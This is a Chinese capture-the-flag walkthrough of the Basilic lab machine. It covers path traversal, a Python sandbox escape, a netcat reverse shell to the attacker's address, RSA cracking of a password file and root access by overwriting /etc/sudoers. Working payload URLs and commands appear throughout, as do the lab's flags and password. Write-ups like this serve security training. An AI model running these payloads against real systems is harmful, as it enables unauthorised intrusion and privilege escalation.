每日一靶机-Basilic
靶机:192.168.31.54
Basilic VM 作为 NorzhCTF 2019 的一部分创建。
一位 Python 开发人员已将网站上线。
您的目标是危及服务器的不同用户并获得 root 权限。
有 4 个标志要检索,它们是 md5 格式。
标志 1:“坚持是成功之路。” - 查理·卓别林
旗帜 2:“你总能逃出监狱。但自由呢?” - 让-克里斯托夫·格兰热
旗帜 3:“未来是门,过去是钥匙。” - 维克多·雨果
旗帜 4:“隐瞒真相的罪责不亚于编造谎言的罪责。” - 艾蒂安·帕斯基尔
难度:中级/困难
类别:Web、Jail、Crypto、PrivEsc
难度级别:高
Python 沙箱逃逸
解密 RSA
/etc/sudoers 提权
IcMl0x824
信息收集
1.端口/指纹扫描
-
5000端口 flask[0.14.1]/http/python[2.7.13]/werkzeug[0.14.1]
-
22端口 openssh[7.4p1]
点进去发现5000端口是它对应的HTTP服务(是个用python写的web)
点击 contact me,得到一串类似于密钥的东西
[Contact]
E-mail : contact@basilic
-----BEGIN PUBLIC KEY-----
MD0wDQYJKoZIhvcNAQEBBQADLAAwKQIieHh4eHh4eHh4eHh4eHh4d4eHjw8PDw8P
Dw8PDw8PDw8PDwIDAQAB
-----END PUBLIC KEY-----
emmmm,不知道有啥用。陷入僵局,还是等扫描完成再判断如何前进吧
2.目录/敏感扫描
Dirsearch反馈如下
看来目录下基本没有敏感的地方,看来有一种可能,突破口会在URL上做文章
3.漏洞/风险扫描
丢上去让Yakit的插件跑Nulei的POC,我睡一觉,起来看结果
呵呵呵,应该会有结果的。
4.复刻/思考鸡脖
复现一下这个高危吧
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Server: Werkzeug/0.14.1 Python/2.7.13
Date: Sun, 18 Dec 2022 08:12:17 GMT
Content-Length: 1521
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
avahi-autoipd:x:105:109:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin
basilic:x:1000:1000:basilic,,,:/home/basilic:/bin/bash
python:x:1001:1001:,,,:/home/python:/usr/bin/nologin
etc/passwd这些字段的解释:
可以看到是有root/basilic/python这三个用户的,那么我们的突破点,还是要研究这狗逼玩意用python写的web,看看啥情况。至于SSH爆破,太占用资源了,放到最后考虑吧。
漏洞利用
将 contact.html 换了随便乱输,看是否有报错
爆出/opt/webserver/basilic_dev_website.py信息
看来web 显示的东西都从/opt/webserver/这个目录来的
把basilic_dev_website.py的源码给拉下来
view-source:http://192.168.31.54:5000/basilic_dev_website.py
#/usr/bin/env python
# -*- coding:utf-8 -*-
# First flag : 905459d7e2dbb3c47ab947faed7b12b0
import os
from flask import Flask, request, jsonify, Response
app = Flask(__name__)
@app.route('/')
def index():
with open('opt/webserver/index.html', 'r') as myfile:
return myfile.read()
@app.route('/<path:path>')
def load_page(path):
if path == 'json_calc':
x = request.query_string
g = {"__builtins__" : None} # Removing all builtins for security
l = {}
try:
exec(x, g, l)
return jsonify(l)
except Exception,e:
return jsonify({'error': str(e)})
else :
try:
with open('/opt/webserver/' + path, 'r') as myfile:
return myfile.read()
except Exception,e:
return Response(__file__ + ' : ' + str(e), status=404)
if __name__ == '__main__':
app.run(host= '0.0.0.0')
第一个 flag:
first flag:905459d7e2dbb3c47ab947faed7b12b0
分析源代码
如果路径是 json_calc
的时候,先给予一个参数,返回内容为字典形式(json 转化)
__builtins__
被设为空 就是python自带的int str eval print以及import都不能用
g = {"__builtins__": None}
是用来计算数字的
Python沙箱逃逸
https://www.freebuf.com/articles/system/203208.html
学习了好久构造出于是乎语句:
json_calc?x=().__class__.__base__.__subclasses__()[0]" -O - 2>/dev/null
wget "http://192.168.31.54:5000/json_calc?x=().__class__.__base__.__subclasses__()[0]" -O - 2>/dev/null
wget "http://192.168.31.54:5000/json_calc?x=().__class__.__base__.__subclasses__()[59]" -O - 2>/dev/null
wget "http://192.168.31.54:5000/json_calc?x=().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').popen('id').read()" -O - 2>/dev/null
wget "http://192.168.31.54:5000/json_calc?x=().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').listdir('/home/python')" -O - 2>/dev/null
在 python 中有一个 os.listdir(path) 方法可以遍历目录
wget "http://192.168.31.54:5000/json_calc?x=().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').listdir('/home/python')" -O - 2>/dev/null
得到一个 secret.txt
还记得之前的目录遍历吗?就用它就对了
GET /../../../../../../../../../../home/python/secret.txt HTTP/1.1
Host: 192.168.31.54:5000
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
第二个 flag:
Second flag : 5d5e3d9ee45cd8975c940b675d4cbc15
我们主要用两个东西:搞到builtins和import os模块来弹shell就可以了
wget "http://192.168.31.54:5000/json_calc?x=().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').spawnl(1,'/bin/nc','nc','192.168.31.19','4444','-e','/bin/sh')" -O - 2>/dev/null
nc -vnlp 4444
python -c 'import pty;pty.spawn("/bin/bash")'
在python用户自己的目录下,同样可以获取第二个flag
权限提升
到 basilic 的目录下查看一下
ls -la
cat secret.txt 发现没有权限
而.encrypted_password这个文件可能就与之前给我们的呢个密钥是呼应的
我猜测就是要根据这个去搞 basilic 的密码,然后用 SSH 去连 basilic 来提权
首先我怀疑这是一个 RSA 的私钥,咳咳咳,你说为啥,看我的上一篇文章
还有印象吗,观察这俩,可以确定下面的这玩意时公钥
-----BEGIN PUBLIC KEY-----
MD0wDQYJKoZIhvcNAQEBBQADLAAwKQIieHh4eHh4eHh4eHh4eHh4d4eHjw8PDw8P
Dw8PDw8PDw8PDwIDAQAB
-----END PUBLIC KEY-----
我们要把这个私钥给拉下来,防止复制时出现的编码问题
curl "http://192.168.31.54:5000/..%2f..%2f..%2f..%2fhome/basilic%2f.encrypted_password" > password
直接找个RSA 私钥工具爆破
就用这个
python3 RsaCtfTool.py --public pub.rsa --uncipherfile password
可以看到有 x00 我们把前面的去掉:
b’x00x02x8cxf0x0fBxd3"xe7||`)x95x00nevergonnagiveyouup’
留下nevergonnagiveyouup
我猜想这个是密码
ssh直接登录 拿到basilic用户
SSH登陆basilic用户
拿着密码成功登陆
第三个flag:
Third flag : e1e0d24d7fed3745e19bb0f90a769ea0
权限提升
首先尝试下 sudo -l 查看当前用户有哪些权限:
可以看到有一个 py 文件具有 root 权限:(root) /usr/bin/python /opt/calc_test.py
查看一下这个 python 文件源码:
可以确定这是利用了前面的 /opt/webserver/basilic_dev_website.py 那个计算模块
我们用 basicli 用户进行后续操作,有一个可用于提权的 /opt/calc_test.py 文件,它可以将内容写入到任何文件
其中要经过/opt/webserver/basilic_dev_website.py 这个文件
既然我们以root权限写任意文件,有个方法就是把basilic用户加到sudoers里去
我们直接return一个sudoers文本 然后sudo运行calc_test.py
basilic@basilic:/opt$ sudo /usr/bin/python /opt/calc_test.py
[sudo] password for basilic:
Calc : 1
Output file : /etc/sudoers
basilic@basilic:/opt$ sudo -l
User basilic may run the following commands on basilic:(ALL : ALL) ALL
basilic@basilic:/opt$ sudo su
root@basilic:~ cat /etc/sudoers
basilic ALL=(ALL:ALL) ALL
root@basilic:~
第四个 flag:
root@basilic:/opt# cd /root
root@basilic:~# ls
root.txt
root@basilic:~# cat root.txt
Fourth flag : 1e62c6ed43e92c1f0dcbcca01957d1bb
https://www.vulnhub.com/entry/norzhctf-2019-basilic,282/
免责声明:由于传播、利用本公众号WIN哥学安全提供的文章、工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号WIN哥学安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,本号会立即删除并致歉。谢谢!
往期推荐
原文始发于微信公众号(WIN哥学安全):【靶机渗透】Basilic(一个涉及到Python沙盒逃逸/RSA解密的勾八机器)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论